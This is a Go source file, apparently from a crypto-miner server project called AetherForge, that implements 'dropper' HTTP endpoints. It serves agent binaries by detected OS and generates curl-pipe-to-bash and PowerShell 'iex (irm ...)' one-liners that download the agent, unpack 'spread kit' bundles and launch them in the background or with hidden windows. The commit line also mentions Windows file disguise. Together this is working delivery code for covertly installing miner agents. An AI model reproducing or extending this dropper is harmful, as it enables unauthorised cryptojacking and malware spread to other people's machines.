Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
203 lines
6.4 KiB
Go
203 lines
6.4 KiB
Go
package api
|
|
|
|
import (
|
|
"fmt"
|
|
"net/http"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
)
|
|
|
|
// DropperHandler serves the one-liner remote-install endpoints:
|
|
//
|
|
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
|
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
|
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
|
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
|
type DropperHandler struct {
|
|
db *dbpkg.Database
|
|
publicURLFunc func() string
|
|
}
|
|
|
|
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
|
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
|
}
|
|
|
|
func (h *DropperHandler) publicURL() string {
|
|
if h.publicURLFunc != nil {
|
|
if u := h.publicURLFunc(); u != "" {
|
|
return strings.TrimRight(u, "/")
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// detectPlatform picks the right build platform from an explicit query param or
|
|
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
|
func detectPlatform(r *http.Request) string {
|
|
if p := r.URL.Query().Get("os"); p != "" {
|
|
switch strings.ToLower(p) {
|
|
case "windows", "win":
|
|
return "windows"
|
|
case "linux":
|
|
return "linux"
|
|
case "darwin", "mac", "macos":
|
|
return "darwin"
|
|
case "universal", "any":
|
|
return "universal"
|
|
}
|
|
}
|
|
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
|
switch {
|
|
case strings.Contains(ua, "windows"):
|
|
return "windows"
|
|
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
|
return "darwin"
|
|
case strings.Contains(ua, "linux"):
|
|
return "linux"
|
|
}
|
|
return "" // caller will fall back to latest build regardless of platform
|
|
}
|
|
|
|
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
|
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
|
platform := detectPlatform(r)
|
|
|
|
// Try exact platform match, then fall back to universal, then any.
|
|
candidates := []string{platform, "universal", ""}
|
|
if platform == "" {
|
|
candidates = []string{"universal", ""}
|
|
}
|
|
|
|
var buildPath, buildName string
|
|
for _, p := range candidates {
|
|
b, err := h.db.GetLatestBuildForPlatform(p)
|
|
if err == nil && b != nil {
|
|
buildPath = b.FilePath
|
|
buildName = filepath.Base(b.FilePath)
|
|
break
|
|
}
|
|
}
|
|
if buildPath == "" {
|
|
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
http.ServeFile(w, r, buildPath)
|
|
}
|
|
|
|
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
|
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
|
base := h.publicURL()
|
|
if base == "" {
|
|
// Best-effort: derive from request
|
|
scheme := "http"
|
|
if r.TLS != nil {
|
|
scheme = "https"
|
|
}
|
|
base = scheme + "://" + r.Host
|
|
}
|
|
|
|
script := fmt.Sprintf(`#!/bin/sh
|
|
# AetherForge one-liner installer
|
|
# Usage: curl -sL %s/install.sh | bash
|
|
|
|
set -e
|
|
|
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
|
ARCH="$(uname -m)"
|
|
case "$ARCH" in
|
|
x86_64) ARCH="amd64" ;;
|
|
aarch64|arm64) ARCH="arm64" ;;
|
|
esac
|
|
|
|
TMPDIR="$(mktemp -d)"
|
|
DEST="$TMPDIR/worker"
|
|
|
|
echo "[*] Downloading agent for $OS/$ARCH..."
|
|
curl -sL -o "$DEST" "%s/get?os=$OS"
|
|
|
|
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
|
echo "[*] Extracting universal bundle..."
|
|
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
|
cd "$TMPDIR/bundle"
|
|
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
|
if [ "$OS" = "darwin" ]; then
|
|
for L in Start.command start.command; do
|
|
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
|
done
|
|
fi
|
|
for L in start.sh deploy.sh; do
|
|
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
|
done
|
|
echo "[!] Could not find launcher in bundle"
|
|
exit 1
|
|
fi
|
|
|
|
chmod +x "$DEST"
|
|
echo "[*] Launching..."
|
|
nohup "$DEST" >/dev/null 2>&1 &
|
|
echo "[+] Agent started (pid $!)"
|
|
`, base, base)
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
|
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
|
base := h.publicURL()
|
|
if base == "" {
|
|
scheme := "http"
|
|
if r.TLS != nil {
|
|
scheme = "https"
|
|
}
|
|
base = scheme + "://" + r.Host
|
|
}
|
|
|
|
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
|
// script as a regular string so we can escape them properly.
|
|
bt := "`" // backtick character
|
|
script := "# AetherForge one-liner installer\n" +
|
|
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
|
"$ErrorActionPreference = 'Stop'\n" +
|
|
"$url = '" + base + "/get?os=windows'\n" +
|
|
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
|
"Write-Host '[*] Downloading agent...'\n" +
|
|
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
|
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
|
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
|
"if ($isZip) {\n" +
|
|
" Write-Host '[*] Extracting universal bundle...'\n" +
|
|
" $dir = $tmp + '_bundle'\n" +
|
|
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
|
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
|
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
|
" $bat = $null\n" +
|
|
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
|
" $candidate = Join-Path $dir $name\n" +
|
|
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
|
" }\n" +
|
|
" if ($bat) {\n" +
|
|
" Write-Host '[*] Running launcher...'\n" +
|
|
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
|
" } else {\n" +
|
|
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
|
" }\n" +
|
|
"} else {\n" +
|
|
" $exe = $tmp + '.exe'\n" +
|
|
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
|
" Write-Host '[*] Launching...'\n" +
|
|
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
|
"}\n" +
|
|
"Write-Host '[+] Agent deployed.'\n"
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
|
fmt.Fprint(w, script)
|
|
}
|